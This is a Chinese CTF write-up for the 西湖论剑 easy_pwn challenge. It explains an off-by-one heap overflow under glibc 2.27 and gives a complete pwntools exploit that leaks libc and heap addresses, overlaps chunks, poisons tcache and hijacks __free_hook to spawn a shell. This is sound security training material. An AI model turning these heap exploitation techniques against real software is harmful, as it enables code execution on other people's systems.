西湖论剑 easy_pwn writeup

一道很经典的pwn题,思路一点都不偏,很适合练手,靶机环境是glibc-2.27。

源程序、相关文件下载:http://file.eonew.cn/ctf/pwn/easy_pwn.zip

溢出点

在add函数中有个明显的off by one

void __cdecl add()
{
  int size; // [rsp+0h] [rbp-10h]
  int index; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  index = 0;
  size = 0;
  while ( index <= 9 && (&global_container)[2 * index] )
    ++index;
  if ( index == 10 )
  {
    puts("no space.");
    exit(1);
  }
  (&global_container)[2 * index] = (container **)malloc(0xF8uLL);
  puts("size:");
  __isoc99_scanf("%d", &size);
  if ( size > 0xF8 )
  {
    puts("too large");
    exit(1);
  }
  (&global_container)[2 * index + 1] = (container **)size;
  puts("content:");
  read_n_sub_A19((&global_container)[2 * index], (unsigned __int64)(&global_container)[2 * index + 1]);
}

read_n_sub_A19

void __fastcall read_n_sub_A19(_BYTE *buf, int length)
{
  int v2; // [rsp+1Ch] [rbp-4h]

  v2 = 0;
  if ( length )
  {
    while ( 1 )
    {
      read(0, &buf[v2], 1uLL);
      if ( v2 > length - 1 || !buf[v2] || buf[v2] == '\n' )
        break;
      ++v2;
    }
    buf[v2] = 0;
    buf[length] = 0;                            // off by one
  }
  else
  {
    *buf = 0;
  }
}

思路

  1. 泄露glibc基地址,修改 index-7 为 no_in_use
  2. 泄露heap基地址
  3. 构造fake_chunk
  4. 通过chunk extend使得chunk重叠
  5. 控制tcache的fd
  6. 劫持__free_hook

泄露glibc基地址

原理就是绕过tcache,利用unsorted bin上残留的main_arena的地址信息来计算出glibc的地址

for i in range(10):
    add(0xf7, '\n')

for i in range(8):
    delete(i)

add(0xf8, '\n')
for i in range(1, 7):
    add(0xf7, '\n')

add(0xf7, '\n')
modify(7, 'a' *  8)

sh.sendline('3')
sh.recvuntil('enter index:\n')
sh.sendline('7')
sh.recvuntil('a' * 8)
result = sh.recvuntil('\n')[:-1]
main_arena_96_addr = u64(result.ljust(8, '\0'))

# You should calculte the value by yourself
main_arena_96_offset = 0x3ebca0

main_arena_addr = main_arena_96_addr - 96
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_base_addr = main_arena_96_addr - main_arena_96_offset
log.success('libc_base_addr: ' + hex(libc_base_addr))

add(0xf8, '\n')的主要功能就是修改index_7no_in_use,为了我们后面的chunk extend

main_arena_96_offset 需要根据不同的环境手动计算。

泄露heap基地址

计算heap的地址和算glibc的地址有点类似,但是对于绝大多数glibc来说,这个偏移地址都是固定的。

modify(0, 'd')

sh.sendline('3')
sh.recvuntil('enter index:\n')
sh.sendline('0')
result = sh.recvuntil('\n')[:-1]
heap_base_offset = 0x700
heap_base_addr = u64(result.ljust(8, '\0')) - ord('d') - heap_base_offset
log.success('heap_base_addr: ' + hex(heap_base_addr))
# pause()

将第一个字符修改为 d 是为了防止,调用puts函数时,被 NULL 截断。

计算方法如下:

先查看一下chunk布局。

pwndbg> heap
0x55c8eddaa000 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 593, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55c8eddaa250 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 257, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55c8eddaa350 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 257, 
  fd = 0x55c8eddaa200, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55c8eddaa450 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 257, 
  fd = 0x55c8eddaa300, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55c8eddaa550 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 257, 
  fd = 0x55c8eddaa400, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55c8eddaa650 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 257, 
  fd = 0x55c8eddaa500, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55c8eddaa750 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 257, 
  fd = 0x55c8eddaa600, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55c8eddaa850 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 257, 
  fd = 0x55c8eddaa764, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55c8eddaa950 {
  mchunk_prev_size = 0, 
  mchunk_size = 256, 
  fd = 0x6161616161616161, 
  bk = 0x7f22f8653ca0 <main_arena+96>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55c8eddaaa50 PREV_INUSE {
  mchunk_prev_size = 256, 
  mchunk_size = 257, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55c8eddaab50 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 257, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55c8eddaac50 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 132017, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
pwndbg> 

我们要计算的就是0x55c8eddaa764heap基地址的偏移。

在查看heap的基地址:

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x55c8ec51d000     0x55c8ec51f000 r-xp     2000 0      /home/ex/test/pwn
    0x55c8ec71e000     0x55c8ec71f000 r--p     1000 1000   /home/ex/test/pwn
    0x55c8ec71f000     0x55c8ec720000 rw-p     1000 2000   /home/ex/test/pwn
    0x55c8eddaa000     0x55c8eddcb000 rw-p    21000 0      [heap]
    0x7f22f8268000     0x7f22f844f000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f22f844f000     0x7f22f864f000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f22f864f000     0x7f22f8653000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f22f8653000     0x7f22f8655000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f22f8655000     0x7f22f8659000 rw-p     4000 0      
    0x7f22f8659000     0x7f22f8680000 r-xp    27000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7f22f8861000     0x7f22f8863000 rw-p     2000 0      
    0x7f22f8880000     0x7f22f8881000 r--p     1000 27000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7f22f8881000     0x7f22f8882000 rw-p     1000 28000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7f22f8882000     0x7f22f8883000 rw-p     1000 0      
    0x7fffe09c1000     0x7fffe09e3000 rw-p    22000 0      [stack]
    0x7fffe09e4000     0x7fffe09e7000 r--p     3000 0      [vvar]
    0x7fffe09e7000     0x7fffe09e9000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]

0x55c8eddaa000就是heap的基地址。

计算偏移:

pwndbg> p/x 0x55c8eddaa764-'d'-0x55c8eddaa000
$1 = 0x700

这里的0x700就是对应脚本中的heap_base_offset

构造fake_chunk

由于index_0指向的chunk和index_7指向的chunk相邻,所以我们可以在index_0上伪造一个fake_chunk

chunk_for_unlink_addr = heap_base_addr + 0x850 # index 0
fack_chunk_addr = chunk_for_unlink_addr + 0x10

layout = [
    p64(0), # prev_size
    p64(0x100 - 0x10), # size

    # bypass unlink check
    p64(fack_chunk_addr), # fd
    p64(fack_chunk_addr), # bk
    'c' * (0xf0 - 0x20),
    p64(0x100 - 0x10), # prev_size
]
# pause()

modify(0, flat(layout))

这里设置 fake_chunk 的 fd 和 bk ,主要是为了绕过 unlink 的 双向链表完整性检查。至于 index 0 相对于 heap base addr 的偏移可以手动算出,而且大部分glibc的该偏移值是固定的。

chunk extend

原理就是先绕过tcache,然后利用unsorted bin free时,会向上和空闲的chunk合并的机制,因为我们在前面已经通过off by one设置了index_7no_in_use,所以可以直接触发该机制。那么执行之后,他就会和我们构造的fake_chunk合并了。

# Instead of index_0, becasue we will use index_0 to control the fake chunk later
delete(8)

for i in range(1, 7):
    delete(i)

# chunk extend
delete(7)
# pause()

这里我用index_8来代替index_0,因为index_0之后要用来控制fake_chunk.

pause()出暂停,来看看结果:

pwndbg> bin
tcachebins
0x100 [  7]: 0x55a5d08e5260 —▸ 0x55a5d08e5360 —▸ 0x55a5d08e5460 —▸ 0x55a5d08e5560 —▸ 0x55a5d08e5660 ◂— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55a5d08e5860 —▸ 0x7ff285e93ca0 (main_arena+96) ◂— 0x55a5d08e5860
smallbins
empty
largebins
empty
pwndbg> p/x *(mchunkptr )0x55a5d08e5860
$1 = {
  mchunk_prev_size = 0x0, 
  mchunk_size = 0x1f1, 
  fd = 0x7ff285e93ca0, 
  bk = 0x7ff285e93ca0, 
  fd_nextsize = 0x6363636363636363, 
  bk_nextsize = 0x6363636363636363
}

可以看到合并之后size就是就是0x1f0

控制tcache的fd

由于index_0指向的chunk和unsorted bin是重叠的,我们可以把unsorted bin放到tcache中,然后再控制其fd

for i in range(1, 8):
    add(0xf7, '\n')

add(0xf7, '\n') # index 8

# for more space
delete(2)

delete(8)

layout2 = [
    p64(0), # prev_size
    p64(0x101), # size
    p64(libc_base_addr + libc.symbols['__free_hook']), # fd
]
modify(0, flat(layout2))
# pause()

pause()停下看看运行结果:

pwndbg> bin
tcachebins
0x100 [  2]: 0x5584fc962870 —▸ 0x7f2cb0b4e8e8 (__free_hook) ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5584fc962960 —▸ 0x7f2cb0b4cca0 (main_arena+96) ◂— 0x5584fc962960
smallbins
empty
largebins
empty

可以看到,我们已经可以控制__free_hook

劫持__free_hook

add(0, '\n') # index 2
add(0xf7, '\n')

modify(8, p64(libc_base_addr + libc.symbols['system']))

modify(0, 'e' * 16 + '/bin/sh\0')

sh.sendline('2')
sh.recvuntil('enter index:\n')
sh.sendline('2')

index 2为我们可以控制的chunk,为了防止在delete函数被memset函数刷新内容,这里我设置它的size为 0 ,然后用index 0来控制它的内容。

至于我为什么不用 one gadget,主要原因是不稳定,而且可移植性很差。

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import random
import struct
import os
import binascii
import sys
import time

# context.log_level = 'debug'
context.arch = 'amd64'
sh = process("./pwn")
# elf = ELF("./many_notes")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# Create a temporary file for GDB debugging
try:
    f = open('/tmp/pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    pass

def add(size, content):
    sh.sendline('1')
    sh.recvuntil('size:\n')
    sh.sendline(str(size))
    sh.recvuntil('content:\n')
    sh.send(content)
    sh.recvuntil('command:\n')

def delete(index):
    sh.sendline('2')
    sh.recvuntil('enter index:\n')
    sh.sendline(str(index))
    sh.recvuntil('command:\n')

def modify(index, content):
    sh.sendline('4')
    sh.recvuntil('enter index:\n')
    sh.sendline(str(index))
    sh.recvuntil('content:\n')
    sh.send(content)
    sh.recvuntil('command:\n')

sh.recvuntil('command:\n')
for i in range(10):
    add(0xf7, '\n')

for i in range(8):
    delete(i)

add(0xf8, '\n')
for i in range(1, 7):
    add(0xf7, '\n')

add(0xf7, '\n')
modify(7, 'a' *  8)

sh.sendline('3')
sh.recvuntil('enter index:\n')
sh.sendline('7')
sh.recvuntil('a' * 8)
result = sh.recvuntil('\n')[:-1]
main_arena_96_addr = u64(result.ljust(8, '\0'))

# You should calculte the value by yourself
main_arena_96_offset = 0x3ebca0

main_arena_addr = main_arena_96_addr - 96
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_base_addr = main_arena_96_addr - main_arena_96_offset
log.success('libc_base_addr: ' + hex(libc_base_addr))

# pause()
modify(0, 'd')

sh.sendline('3')
sh.recvuntil('enter index:\n')
sh.sendline('0')
result = sh.recvuntil('\n')[:-1]
heap_base_offset = 0x700
heap_base_addr = u64(result.ljust(8, '\0')) - ord('d') - heap_base_offset
log.success('heap_base_addr: ' + hex(heap_base_addr))
# pause()

chunk_for_unlink_addr = heap_base_addr + 0x850 # index 0
fack_chunk_addr = chunk_for_unlink_addr + 0x10

layout = [
    p64(0), # prev_size
    p64(0x100 - 0x10), # size

    # bypass unlink check
    p64(fack_chunk_addr), # fd
    p64(fack_chunk_addr), # bk
    'c' * (0xf0 - 0x20),
    p64(0x100 - 0x10), # prev_size
]

modify(0, flat(layout))

# Instead of index_0, becasue we will use index_0 to control the fake chunk later
delete(8)

for i in range(1, 7):
    delete(i)

# chunk extend
delete(7)
# pause()

for i in range(1, 8):
    add(0xf7, '\n')

add(0xf7, '\n') # index 8

# for more space
delete(2)

delete(8)

layout2 = [
    p64(0), # prev_size
    p64(0x101), # size
    p64(libc_base_addr + libc.symbols['__free_hook']), # fd
]
modify(0, flat(layout2))
# pause()

add(0, '\n') # index 2
add(0xf7, '\n')

modify(8, p64(libc_base_addr + libc.symbols['system']))

modify(0, 'e' * 16 + '/bin/sh\0')

sh.sendline('2')
sh.recvuntil('enter index:\n')
sh.sendline('2')

sh.interactive()

运行实例

ex@Ex:~/test$ python2 ./exp.py 
[+] Starting local process './pwn': pid 17034
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] main_arena_addr: 0x7f9b3e3eec40
[+] libc_base_addr: 0x7f9b3e003000
[+] heap_base_addr: 0x55d77511c000
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$  

总结

感觉很棒的一道题,考察的都是基础内容的组合,整个题目其实并不难,但是很考验pwn选手的功底。